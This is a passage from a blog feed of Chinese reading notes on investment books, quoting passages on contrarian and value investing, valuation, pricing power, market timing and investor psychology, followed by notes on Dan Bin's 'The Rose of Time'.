&lt;p&gt;作为消费者，我对食品安全事故深恶痛绝，但是作为投资者，我们不应该把个人感情因素带入投资决策。从历史上看，食品安全事故往往是行业投资较好的买入点，特别是那些没有直接卷入安全事故或者牵涉程度较浅的行业龙头企业，更有可能是建仓良机。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;在面对其他类似食品安全事件的逆向投资机会时，投资者可以思考这样几个问题：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;●有无替代品。若有替代品（例如三株口服液之类的营养品就有众多替代品），则谨慎；若无替代品，则积极。
●是个股问题还是行业问题。如果主要是个股问题，则避开涉事个股，重点研究其竞争对手；即使是行业问题（例如毒奶粉），也可关注受影响相对较小的个股。
●是主动添加违规成分还是“被动中枪”。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;投资机会时，投资者可以思考这样几个问题：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;●有无替代品。若有替代品（例如三株口服液之类的营养品就有众多替代品），则谨慎；若无替代品，则积极。
●是个股问题还是行业问题。如果主要是个股问题，则避开涉事个股，重点研究其竞争对手；即使是行业问题（例如毒奶粉），也可关注受影响相对较小的个股。
●是主动添加违规成分还是“被动中枪”。前者宜谨慎，后者可积极。
●该问题是否容易解决。若容易解决，则积极；若难以解决（例如三聚氰胺问题），影响可能持续的时间长且有再次爆发的可能性，则谨慎。
●涉事企业是否有扎实的根基。悠久的历史传承和广泛的品牌美誉度在危机时刻往往有决定性的作用，秦池、孔府的倒台就是由于根基不稳而盘子却铺得太大。
●是否有突出的受害者个例。这决定了事件对消费者的影响是否持久。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;最一致的时候就是最危险的时候&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;买早了还得熬得住，这是逆向投资者的必备素质。投资者必须明白一个道理，市场中没有人能够卖在最高点、买在最低点。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我有个习惯：每年年初和年中时汇总所有基金公司的季报行业配置。对大家都追捧的热门行业，我就谨慎一点；对大家都嫌弃的冷门行业，我就试着乐观一点&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 03 便宜是硬道理&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;贪婪有两种，一种是在6000点时明知贵了，但还想等多涨一会儿再卖；另一种是在2000点时觉得便宜了，但还想等多跌一会儿再买。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;投资中影响股价涨跌的因素是无穷无尽的，但是最重要的其实只有两点，一个是估值，一个是流动性。估值就是价格相对于价值是便宜了还是贵了，估值决定了股票能够上涨的空间；流动性则决定了股市涨跌的时间。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;M2的合理增速应该大致比名义GDP快2~3个点。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;所有的价格本质上都是货币现象，比如钱多了，水涨船高，所有东西的价格都往上涨，一旦钱少了，所有东西的价格都会往下跌。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;买的时候足够便宜，就不用担心做傻瓜&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;过去10年没有涨，很多人就认为股票不能买，其实你反过来想，这更说明现在的股票价值比10年前要高得多。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;那么什么样的行业是好行业呢？很简单，有门槛、有积累、有定价权的那种行业。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;所谓门槛就是不是谁想进来就可以进来的。我们都知道中国有14亿多人口，如果某一个行业短期增长很快，利润率很高，就会有1000个人来山寨你的产品，另外1000个人想比你做得规模更大，然后把成本做得比你低&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;但是有的行业因为技术变化太快而很难有积累，你也许积累了很久，拼命挖了很深的护城河，人家可能不进攻这个城，绕了过去又建了新城。最明显的就是高科技行业，电子、科技、媒体和通信技术更新换代太快了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;从投资者的角度来看，有霸王条款的公司就是好公司，因为这说明他有定价权。有的公司服务姿态很低，很辛苦却赚不到钱，原因是竞争太激烈了。我们要找行业竞争不激烈、赚钱很容易的公司。这种行业和公司确实存在，但是不多，大概有5~10个行业有这样的公司。长期来看，这样的公司赚钱的概率大得多。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;和巴菲特所说的找那种“傻子都能管”的公司类似，我一般都是看这个公司如果我去当CEO是不是可以管好，如果我也能管好，那就是“傻子都能管”的公司，如果傻子能管好我就买，这些因素决定了谁管都可以。许多大公司每年利润几百亿元、几千亿元，但不见得是靠管理层的本事，谁都能做管理层的公司就是好公司&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我们知道价格等于市盈率乘以利润，价格变化无非是两种，一种是市盈率的变化，一种是利润的变化。所以永久性亏钱只有两个原因，一个是市盈率的压缩。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;另一个是利润在历史高点的时候，夕阳行业就有本金永久性丧失的风险。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;做投资真正想赚到比别人更多的收益，就要保持一个判断的独立性。别人悲观的时候也不一定就乐观，但是要想想别人的悲观有没有理由，别人的悲观是不是已经反映在股价中，现在的悲观情绪大部分已经反映在股价中了。短期看，价格波动的风险永远也没有办法避免，我们也不能够肯定说10倍的市盈率不会跌到8倍。对于个人的资金，我认为现在买房子不是什么好时机，买艺术品或者是其他的东西不如买股票。但是也不要把全部资金都放在股票上，有一定比例就可以了。投资期限越长，能够承担风险能够放的比例就越大。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ ｜投资随想录｜&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;牛市里，上市公司再融资是利好，因为许多人认为企业会有释放业绩的动力。熊市里，再融资是利空，因为大家都担心股票供给的增加和增发对利润的摊薄。牛市里所有消息都是好消息；熊市里所有消息都是坏消息。同一消息，在不同的市场环境下常有不同的解读——你听到的是你想听到的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;伯乐在教人相马时，对他喜欢的人他就教如何相普通的好马，对他厌恶的人他就教如何相千里马。为什么呢？普通马常有，如何相马有规律，容易学。千里马不常有，是不拘一格的个例，难学，且常常无用武之地。传说中的“十倍股”成长股就像千里马一样可遇而不可求，还是脚踏实地找些价值股，也就是“普通好马”靠谱些。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;不为精彩绝伦的牛股倾倒，不被纷繁复杂的个例迷惑，不抱侥幸心理，不赌小概率事件，坚持按规律投资，这是投资纪律的一种体现，也是投资成功的必要条件。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 第二部分 投资方法&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;回答三个问题：为什么认为一家公司便宜，为什么认为一家公司好，以及为什么要现在买。这三个问题中，第一个是估值的问题，第二个是公司品质的问题，第三个是买卖时机的问题。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我们很多的卖方报告过多地关注动态的信息，而对公司静态的信息分析得不够。静态的信息是什么呢？最简单的就是先回答一个问题：这个公司做的是不是一门好生意？好生意就是容易赚钱的生意。比如茅台，这个公司的商业模式很简单，哪怕被政府打压一样能赚钱，只是增速下来了。你说茅台的管理层一定比钢铁公司的管理层高明很多吗？那也很难说。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;公司的品质好坏，关键是看能不能具有定价权。并不是说消费品就好，投资品就不好，关键还是在于有没有定价权。消费品更能有定价权是因为消费品是差异化产品，而且下游是分散的客户，公司的议价权更大；投资品的定价权更有限是因为它们经常是无差异的同质化产品，下游客户更集中，因此公司的议价权更有限。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;一个行业一旦受到政府扶持，冲破各种桎梏的希望就不大，所以我一直对政府扶持的行业保持谨慎。政府对扶持的对象往往选择有误，中央政府没有精力和能力去管得这么细，各地方政府则倾向于各自扶持当地的企业，最后造成产能过剩、价格竞争。最后，资金都耗费光了，就没有钱搞研发了。没有钱搞研发，就竞争不过国外，而创新行业是以研发和创新为基础的，打价格战没有赢家。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;但是，做程序员就不一定是一个好行业，可能3年就需要学一种新的计算机语言，除非你转型做产品经理。中国的很多行业就是这样，总是有后浪不断去推前浪，最后把前浪拍死在沙滩上。这样的行业就很难受。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;没有一个爱投科技股？一个重要的原因就是这个行业技术变化太快，先发优势不明显，护城河每3~5年就要重新挖一次，太难把握。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;一直强调胜而后求战，愿意买已经把竞争对手打趴下的公司，而不是战而后求胜，在百舸争流中猜赢家。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我不愿意在它们拍的电影很火爆的时候用50倍的市盈率去买，长期来看这具有戴维斯双杀风险。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;这种颠覆性的、技术变化快的行业，是很难在事前知道谁是赢家的。并不是行业增长快就能随意购买股票&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;要认识一个行业，不妨做一道填空题：得___者得天下，用一个词来概括这个行业竞争的是什么。例如，基金业是得人才者得天下，高端消费品是得品牌者得天下，低端消费品是得渠道者得天下，无差异中间品是得成本者得天下，制造业是得规模者得天下，大宗品是得资源者得天下。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;对于多数人而言，对待选时的正确态度应该是避免把大量的时间花在试图“抄底”或者“逃顶”上。从时间耗费的投入产出比的角度来看，对于一个公司的基本面而言，你研究了3个月，比一个研究了3天的人做出的投资结论的胜算要高得多。然而，你在一张K线图上花3个月计算各种指标，也不见得能比一个看了几秒钟K线图的人判断更准确。彼得·林奇说的“如果你每年花10分钟在宏观分析上，你就浪费了10分钟”也是同样的意思。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;总有人感叹错过了一只几十倍的大牛股，卖得太早了；而不久之后又会因为回避了某只股票20%的调整而沾沾自喜。其实，二者常常是鱼与熊掌不可兼得的。短期选时与长期投资虽然有时可以并行，但是更多的时候是相冲突的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;所以才会有“88魔咒”的说法：当公募基金平均仓位达到88%以上时，一般就是市场阶段性见顶的信号了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;其实，能成功选时的总是极少数。对于多数人而言，只要把估值掌握好，把基本面分析好，淡化选时，长期来看投资回报就不会差。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;两句令我很受启发的话 一句是某投资界牛人说的：投资就是要杀鸡用牛刀，因为杀鸡用鸡刀不能一刀毙命，反而容易伤到手，必须集中兵力深度调研打歼灭战。另一句是某上市公司总经理说的：带兵打仗，人是第一位的，因此即使目前经营环境恶劣，也不能减少对员工和团队的投入。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 05 宁数月亮，不数星星&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;第一个原则是，便宜是硬道理&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;第二个原则是，定价权是核心竞争力。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;第三个原则是，胜而后求战，不要战而后求胜。这是《孙子兵法》里的一句话，我认为大多数可控的投资，投的是已经发生的未来。站在当下要看到未来的确定性，那它应该是胜负已分的行业。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;第四个原则是，人弃我取，逆向投资。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;经常问研究员一句话：“这个行业是越大越强还是越大越难？”越大越难就是不好的生意。很多行业是越大越难的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 06 经验就像旧衣服&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;有人喜欢集中持股，不熟不做，只打有把握的仗；有人喜欢分散持股，降低个股风险，而且易于对每只个股保持客观性（集中持股的人容易“爱上”自己的重仓股）。二者各有千秋，无所谓对错。我喜欢在中间找个平衡：足够多，能降低绝大部分的个股风险；同时又足够少，能对每个持仓都进行深入研究。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ ｜投资随想录｜&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;债券下跌后，人们看到的往往是机会，因为人们会注意到债券的未来到期收益率已经因为价格的下跌而上升了；股票下跌后，人们看到的却只是风险，因为股票没有固定的息票和到期日。其实，股票和债券一样，价格大幅下跌后，未来预期收益率就上升；价格大幅上涨后，未来预期收益率就下降。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 08 真假风险与安全边际&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;风险有两种，一种是感受到的风险，另一种是真实的风险。股票暴涨后，真实的风险上升，感受到的风险却在下降，在6000点股市最危险的时候大家感受到的都是歌舞升平；股票暴跌后，真实的风险下降，感受到的风险上升，在2000点股市相对低谷时人们感受到的却都是凄风苦雨。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;保罗·琼斯（Paul Jones）是我最尊敬的对冲基金经理之一，他的座右铭是“失败者才在亏损股上越跌越买、摊低成本”。对于趋势投资者而言，止损不止赢是短线交易的第一法则，自不必多说。那么，对于价值投资者而言，应该如何对待亏损股呢？止损，死扛，还是越跌越买？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;要回答这个问题，我们先回顾一下卖股票的三个理由：基本面恶化；价格达到目标价；有更好的其他投资&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;许多人潜意识中把买入成本当作决策依据之一，产生了常见的两种极端行为：一种是成本线上，一有风吹草动就锁定收益；成本线下，打死也不卖。另一种是成本线上无比激进，因为赚来的钱赔了不心疼；成本线下无比保守，因为本钱亏一分也肉痛。这两种极端都是人性中的“心理账户”在作祟。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;忘掉你的成本，是成功投资的第一步。全市场除了你之外，没有人知道或关心你的买入成本，因此你的成本高低、是否亏损对股票的未来走势没有丝毫影响。保罗·琼斯在判断哪些股票是失败者的时候，并不是从自己的成本，而是股价的近期高点起算的——那才是人人都看得见的参照点。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;忘掉成本，也就不存在亏损股和盈利股的区别，也就不会总希望在哪里跌倒就在哪里爬起来。许多人在某只股票上亏了钱，总想从这只股票上赚回来，结果是在哪里跌倒就在哪里趴着，反而错过了很多其他机会。投资就是个不断比较不同股票的过程，与成本无关。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 09 价值投资的局限性&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;简单地说，价值投资就是当股票价格低于公司内在价值时买入，当股票价格高于内在价值时卖出。因此，价值投资的第一个基本条件：所买的公司的内在价值应该是相对容易确定的。为什么巴菲特只买商业模式简单并且跟人们日常生活息息相关的公司？道理很简单，这些公司的未来盈利增长非常稳定，因而其内在价值很容易被确定。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;价值投资的第三个基本条件：要在合适的市场阶段采用。牛市的上半段往往更适合价值投资者。牛市刚开始时，悲观情绪弥漫，许多股票价格被严重低估，此时正是价值投资者大展拳脚的好时机。到了牛市下半场，估值从合理水平向高估迈进，铁杆的价值投资者往往对股市的泡沫充满警惕而提前清仓出场，反而是趋势投资者更能顺势而为，游刃有余。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 10 四种周期、三种杠杆，行业轮动时机的把握&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;对有色股谈价值投资无异于对牛弹琴，唯一重要的就是趋势，包括大宗商品的趋势和有色股价的趋势。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;[插图]听邱国鹭谈行业投资
#未来中国的行业趋势#
中国在可预见的未来不太可能出现下一个辉瑞、下一个沃尔玛，但出现下一个卡特彼勒、下一个三星还是有希望的。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;对于大资金来说，行业配置对总体投资收益的影响常常比精选个股更为重要。一个好的荐股逻辑包括三点：估值，这只股票为什么便宜（估值水平与同业比、与历史比；市值大小与未来成长空间比）；品质，这家公司为什么好（定价权、成长性、门槛、行业竞争格局等）；时机，为什么要现在买（盈利超预期、高管增持、跌不动了、基本面拐点、新订单等催化剂）。同样的道理，行业配置的逻辑框架也不外乎估值、品质和时机这三个要素。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;）四种周期
1．政策周期
2．市场周期（估值周期）
3．经济周期
4．盈利周期&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;价值投资者VS趋势投资者 价值投资者的悲剧常是买早了，下跌后没守住；趋势投资者的悲剧常是卖晚了，下跌后又舍不得斩仓。价值投资者一般是左侧投资者，既然悲剧常是买早了，那么建仓宜缓，不妨等负面消息出来股票也不跌时再买。趋势投资者是右侧投资者，既然悲剧常是卖晚了，那么斩仓就要狠，因为趋势一旦破了就难修复。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ ｜投资随想录｜&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;芒格对年轻人择业有三个建议：别兜售你不相信的东西，别为你不敬佩的人工作，别和你不喜欢的人共事&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;．政策与经济的博弈，依据历史经验看，最终胜出的一般是政策，因为政策的特点是不达目标就逐步加码，直到达成目标为止。所以说A股是政策市，不是经济市，因为看得见的手经常打败看不见的手。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;在全球化和互联网时代，世界已经进入寡头阶段。如果还指望新兴中小企业能够与国际寡头竞争，就好比相信渔船舢板能挑战航空母舰。国家政策应有意识地支持中国的民营寡头成长为世界寡头，只有这样才能带动广告、法律、咨询、设计等高端生产性服务业的发展，才能跨越中等收入国家陷阱。
伟大企业是竞争而不是补贴出来的，因此在自由竞争阶段不应该对新兴行业的中小企业补贴；通过市场竞争产生民营寡头后，说明“内战”打完了，胜利者要代表中国参与“外战”了，这时国家对民营寡头在跨国并购、进出口信贷、国际渠道建设和海外知识产权纠纷等多方面的支持是必要的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 第四部分 投资心理学&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;．仓位思维
一旦买成了重仓股，对利好消息就照单全收，对利空消息就不以为然，心理学上叫确认偏误，民间说法叫屁股决定脑袋。正确的决策流程是先有论据，再有结论；但多数人是先有结论，再找论据，这样一来对反面的证据自然就视而不见。有了仓位，思维就不客观，故称仓位思维。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;．锚固偏见
常有人说，这股票涨这么多了，还不抛？或者，已经跌一半了，还不买？这就是锚固偏见的表现，其潜意识是把原有股价当成合理、有参照性的锚点。其实，一个股票便宜与否，看估值比看近期涨跌更可靠：基本面大幅超预期时会越涨越便宜，反之会越跌越贵。锚固偏见是奢侈品的常用营销手段。先设计一批2万美元的包包让模特们背着走来走去，让你感觉这个品牌的包就值2万美元一个。这样一来，当你在店里看到1000美元的同一品牌包时，就不觉得贵了。其实2万美元的包也卖不了几个，利润主要来自卖1000美元的包。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;其实，股票的投资价值与买入成本无关；该不该卖，也与你是否亏损无关。1万元亏损带来的痛苦是1万元盈利带来的喜悦的2倍&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;细细地回想一下，那些垃圾股、庄股以及你只想做个波段赚点快钱就跑的股票，是不是也经常让你有“差点就赢”的经历？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;不管是集体看空还是集体看多，最一致的时候往往是最危险的时候。只有卓尔不群的人才能在高处有如临深渊的谨慎，在低谷有仰望星空的勇气。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;12．心理账户
广播电视节目中常有股民这样提问：“我买了某某股票，成本是xxx，请问应如何操作。”提问者潜意识中已把买入成本当作买卖决策的依据之一。其实，是否应该卖出取决于很多因素（估值、品质、时机），但与买入成本无关，因为你的买入成本根本不影响股价的未来走势。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;广播电视节目中常有股民这样提问：“我买了某某股票，成本是xxx，请问应如何操作。”提问者潜意识中已把买入成本当作买卖决策的依据之一。其实，是否应该卖出取决于很多因素（估值、品质、时机），但与买入成本无关，因为你的买入成本根本不影响股价的未来走势。心理账户指的是人们喜欢在脑袋中把钱分成不同部分（例如买房的钱和买菜的钱）。投资者最常见的心理账户是把钱分为本钱和赚来的钱，并且对这两部分的钱体现出非常不同的风险偏好，这样无形中就把买入成本作为决策依据之一了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 12 后视镜&lt;/p&gt;</description>
    </item>
    <item>
      <title>《时间的玫瑰》投资阅读笔记</title>
      <link>http://blog.leaver.me/2020/10/10/%E6%97%B6%E9%97%B4%E7%9A%84%E7%8E%AB%E7%91%B0%E6%8A%95%E8%B5%84%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Sat, 10 Oct 2020 22:44:18 +0800</pubDate>
      <guid>http://blog.leaver.me/2020/10/10/%E6%97%B6%E9%97%B4%E7%9A%84%E7%8E%AB%E7%91%B0%E6%8A%95%E8%B5%84%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;最近读完了但斌的《时间的玫瑰》，作为一本投资理财相关的笔记书籍。先摘录一些笔记，然后是个人的一些感悟。&lt;/p&gt;
&lt;h2 id=&#34;笔记摘要&#34;&gt;笔记摘要&lt;/h2&gt;
&lt;p&gt;◆ 序一 价值投资的完美践行者&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;价值投资有且只有4个核心理念，这4个核心理念堪称简单、完美：
1.股票是对公司的部分所有权。
2.市场只会告诉你价格是什么，而不会告诉你价值是什么。
3.投资本质上是对未来进行预测，预测结果不可能100%正确，因此要有安全边际，安全边际主要源自买得便宜和低预期。
4.通过长时间的努力可以形成自己的能力圈，能力圈的边界比大小重要。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 中国私人财富管理&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;土地是经济发展的函数，经济发展了，其成果最终一定要反映到地价上，整个经济发展一定会在固定资产中得到不断体现。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;再说房地产调控，目前的调控我的理解是国家实际上在帮助央企、龙头型企业消除其竞争对手。另外，行业龙头企业的诞生，一定是在行业处于困境的情况下，如果都赚钱了，谁也不会破产不会转卖。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 穿越时间的河流与伟大企业共成长&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在我们的价值体系和哲学思考中，我们认为，只有从企业本身出发，才能真正赚到钱，这也是我们东方港湾成立以来一直在学习和坚持的东西。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 投资札记之一：偶然的投资人生&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;发现优秀企业，趁低购买，长期持有（BUY AND HOLD IT）”的策略是目前为止被证明是最有效的投资方法！“成长型价值投资法”是我们罗盘上指向北极的唯一指针。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;简而言之，我们希望选择的企业符合几项标准：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;有长期稳定的经营历史；&lt;/li&gt;
&lt;li&gt;有高度的竞争壁垒，甚至是垄断型企业，最好是非政府管制型垄断；&lt;/li&gt;
&lt;li&gt;管理者理性、诚信，以股东利益为重；&lt;/li&gt;
&lt;li&gt;财务稳健，负债不高而净资产收益率高，自由现金流充裕；&lt;/li&gt;
&lt;li&gt;我们能够理解的，能够把握的企业。
作为投资人，应该更多地研究企业经营，简单称为“产、供、销”几方面，只有经营得好的企业，才有投资价值。
我们&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;那么何时卖出呢？理论上讲，好企业最好长期持有，但以下三种情况我们也会选择卖出：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;好企业被市场高估太多了。&lt;/li&gt;
&lt;li&gt;好企业开始衰退期。&lt;/li&gt;
&lt;li&gt;当我们发现更好的企业，更换旧的投资。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;◆ 投资札记之二：选股没有秘密&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;招商银行的未来
没有事物是永恒的，招商银行也一样无法确定自己的未来。但有一点是肯定的，只要有人类存在，银行业就会一直发展下去。某种意义上，“银行业的未来就是人类社会的未来”（见亨利·英格勒、詹姆斯·埃森格《银行业的未来》）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;越有能力的人越渴望自由，而平均水准以下的人群渴望的则是公平。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 投资札记之三：投资最难的是什么&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果我们不愿意拥有一家股票十年，那就不要考虑拥有它十分钟。”这是巴菲特选择企业的原则。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 投资札记之四：给新股民的建议&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;许多投资者在计算他们的财富时，记忆永远停留在他们曾经达到的最辉煌的那一刻，常将某一天的最高市值视为已到手的收益，然后以那一刻的市值来计算他的得失。结果，变化的市值与最高市值相比，难免心态失衡。投资应该超越这种“财富观”。过去的市值包括买入价格等都属于“沉没成本”。有的人天天看自己账户上市值的变化，其实这没有任何意义，更容易唤起一种心里错觉，患得患失&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 投资札记之五：股市知与行&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;西方有一句古老的谚语：要为长期而买进！时间是最有价值的资产，我们今天所买入的股票不仅仅属于我们自己，还是整个家族的。我们应该为我们的子孙担负起此刻的职责。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;，全世界只有少数国家或地区允许赌博业合法，因为它是一个你赢我输的零和游戏。但资本市场为什么在这么多国家获得支持和发展，其实它的本质是非零和游戏，是参与者能共赢的游戏。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 坚持是价值投资的核心&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;《证券市场周刊》：你认为价值投资理论复杂吗？但斌：很简单。巴菲特提到价值投资观念的核心是“以40美分的价格买进一美元的纸钞”，而成长是优秀公司价值的一个必要组成，即是说，这个一美元的纸钞随着时间仍在继续增值。这个方法本身不是很难，很容易讲明白，但是坚持不容易。这里面我认为存在三个无法避过的阶段：一是理解和接受价值投资的观念；二是要本着严谨的态度，以逻辑合理的方法去评估企业的价值；三是在动荡的环境中坚持。规则很简单，但是坚持太难了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我们对组合理论的理解，大概7个股票是最好的结果，超出了可能很难达到最大的收益，降低了可能风险就稍微大一点。好股就那么多。一个经济体中，企业的构成像金字塔，最好的企业就是塔尖那么几个，越往下越差。你的资金越集中在金字塔的顶部，收益越高。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;证券市场周刊》：那你讲一下他的财富观。但斌：就是说你对财富是怎么看待的。比如说一般的老百姓说我有钱了，要买好车，要买好房子，娶个好老婆。但是财富就是改变世界、影响世界的工具，就是这个财富应该被谁驾驭，这是一个社会问题。假设有上帝，上帝会进行选择，他会选择把这些财富交给什么样的人来管理，这是很重要的。为什么中国的富豪老出事呢？就是这个人如果不义，上帝也不会把更多的财富给他。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;资本市场的本质是什么？就把社会财富放到最有效率的一个企业里，让最能干的人、最好的团队、有最好文化的企业来运用。把财富交到这些人手里，然后让他们去创造财富。巴菲特做的事情就是把钱放到这些好企业里。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 价值投资的内在逻辑&lt;/p&gt;
&lt;blockquote&gt;
